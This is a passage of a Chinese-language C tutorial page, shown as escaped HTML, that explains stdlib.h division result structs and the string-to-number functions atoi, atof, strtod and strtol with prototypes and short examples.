class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e quot, rem;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"type\"\u003ediv_t\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e quot, rem;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"type\"\u003eldiv_t\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e quot, rem;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"type\"\u003elldiv_t\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ediv_t\u003c/span\u003e d = div(\u003cspan class=\"number\"\u003e64\u003c/span\u003e, \u003cspan class=\"number\"\u003e-7\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 64 / -7 = -9\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;64 / -7 = %d\\n\u0026#34;\u003c/span\u003e, d.quot);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 64 % -7 = 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;64 %% -7 = %d\\n\u0026#34;\u003c/span\u003e, d.rem);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"字符串转成数值\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BD%AC%E6%88%90%E6%95%B0%E5%80%BC\" class=\"headerlink\" title=\"字符串转成数值\"\u003e\u003c/a\u003e字符串转成数值\u003c/h3\u003e\u003ch4 id=\"a-系列函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#a-%E7%B3%BB%E5%88%97%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"a 系列函数\"\u003e\u003c/a\u003ea 系列函数\u003c/h4\u003e\u003cp\u003e\u003ccode\u003estdlib.h\u003c/code\u003e定义了一系列函数,可以将字符串转为数组。\u003c/p\u003e\u003cul\u003e\u003cli\u003eatoi():字符串转成 int 类型。\u003c/li\u003e\u003cli\u003eatof():字符串转成 double 类型。\u003c/li\u003e\u003cli\u003eatol():字符串转成 long int 类型。\u003c/li\u003e\u003cli\u003eatoll():字符串转成 long long int 类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eatoi\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* nptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003eatof\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* nptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eatol\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* nptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eatoll\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* nptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面函数的参数都是一个字符串指针,字符串开头的空格会被忽略,转换到第一个无效字符处停止。函数名称里面的\u003ccode\u003ea\u003c/code\u003e代表 ASCII,所以\u003ccode\u003eatoi()\u003c/code\u003e的意思是“ASCII to int”。\u003c/p\u003e\u003cp\u003e它们返回转换后的数值,如果字符串无法转换,则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eatoi(\u003cspan class=\"string\"\u003e\u0026#34;3490\u0026#34;\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3490\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eatof(\u003cspan class=\"string\"\u003e\u0026#34;3.141593\u0026#34;\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.141593\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果参数是数字开头的字符串,\u003ccode\u003eatoi()\u003c/code\u003e会只转换数字部分,比如\u003ccode\u003eatoi(\u0026#34;42regular\u0026#34;)\u003c/code\u003e会返回整数\u003ccode\u003e42\u003c/code\u003e。如果首字符不是数字,比如“hello world”,则会返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003ch4 id=\"str-系列函数(浮点数转换)\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#str-%E7%B3%BB%E5%88%97%E5%87%BD%E6%95%B0%EF%BC%88%E6%B5%AE%E7%82%B9%E6%95%B0%E8%BD%AC%E6%8D%A2%EF%BC%89\" class=\"headerlink\" title=\"str 系列函数(浮点数转换)\"\u003e\u003c/a\u003estr 系列函数(浮点数转换)\u003c/h4\u003e\u003cp\u003e\u003ccode\u003estdlib.h\u003c/code\u003e还定义了一些更强功能的浮点数转换函数。\u003c/p\u003e\u003cul\u003e\u003cli\u003estrtof():字符串转成 float 类型。\u003c/li\u003e\u003cli\u003estrtod():字符串转成 double 类型。\u003c/li\u003e\u003cli\u003estrtold():字符串转成 long double 类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtof\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtod\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtold\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们都接受两个参数,第一个参数是需要转换的字符串,第二个参数是一个指针,指向原始字符串里面无法转换的部分。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003enptr\u003c/code\u003e:待转换的字符串(起首的空白字符会被忽略)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eendprt\u003c/code\u003e:一个指针,指向不能转换部分的第一个字符。如果字符串可以完全转成数值,该指针指向字符串末尾的终止符\u003ccode\u003e\\0\u003c/code\u003e。这个参数如果设为 NULL,就表示不需要处理字符串剩余部分。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的返回值是已经转换后的数值。如果字符串无法转换,则返回\u003ccode\u003e0\u003c/code\u003e。如果转换结果发生溢出,errno 会被设置为 ERANGE。如果值太大(无论是正数还是负数),函数返回\u003ccode\u003eHUGE_VAL\u003c/code\u003e;如果值太小,函数返回零。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *inp = \u003cspan class=\"string\"\u003e\u0026#34; 123.4567abdc\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *badchar;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e val = strtod(inp, \u0026amp;badchar);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\\n\u0026#34;\u003c/span\u003e, val); \u003cspan class=\"comment\"\u003e// 123.456700\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, badchar); \u003cspan class=\"comment\"\u003e// abdc\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e字符串可以完全转换的情况下,第二个参数指向\u003ccode\u003e\\0\u003c/code\u003e,因此可以用下面的写法判断是否完全转换。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (*endptr == \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 完全转换\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 存在无法转换的字符\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果不关心没有转换的部分,则可以将 endptr 设置为 NULL。\u003c/p\u003e\u003cp\u003e这些函数还可以将字符串转换为特殊值 Infinity 和 NaN。如果字符串包含 INF 或 INFINITY(大写或小写皆可),则将转换为 Infinity;如果字符串包含 NAN,则将返回 NaN。\u003c/p\u003e\u003ch4 id=\"str-系列函数(整数转换)\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#str-%E7%B3%BB%E5%88%97%E5%87%BD%E6%95%B0%EF%BC%88%E6%95%B4%E6%95%B0%E8%BD%AC%E6%8D%A2%EF%BC%89\" class=\"headerlink\" title=\"str 系列函数(整数转换)\"\u003e\u003c/a\u003estr 系列函数(整数转换)\u003c/h4\u003e\u003cp\u003estr 系列函数也有整数转换的对应函数。\u003c/p\u003e\u003cul\u003e\u003cli\u003estrtol():字符串转成 long int 类型。\u003c/li\u003e\u003cli\u003estrtoll():字符串转成 long long int 类型。\u003c/li\u003e\u003cli\u003estrtoul():字符串转成 unsigned long int 类型。\u003c/li\u003e\u003cli\u003estrtoull():字符串转成 unsigned long long int 类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtol\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e base\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtoll\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e base\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtoul\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e base\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtoull\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 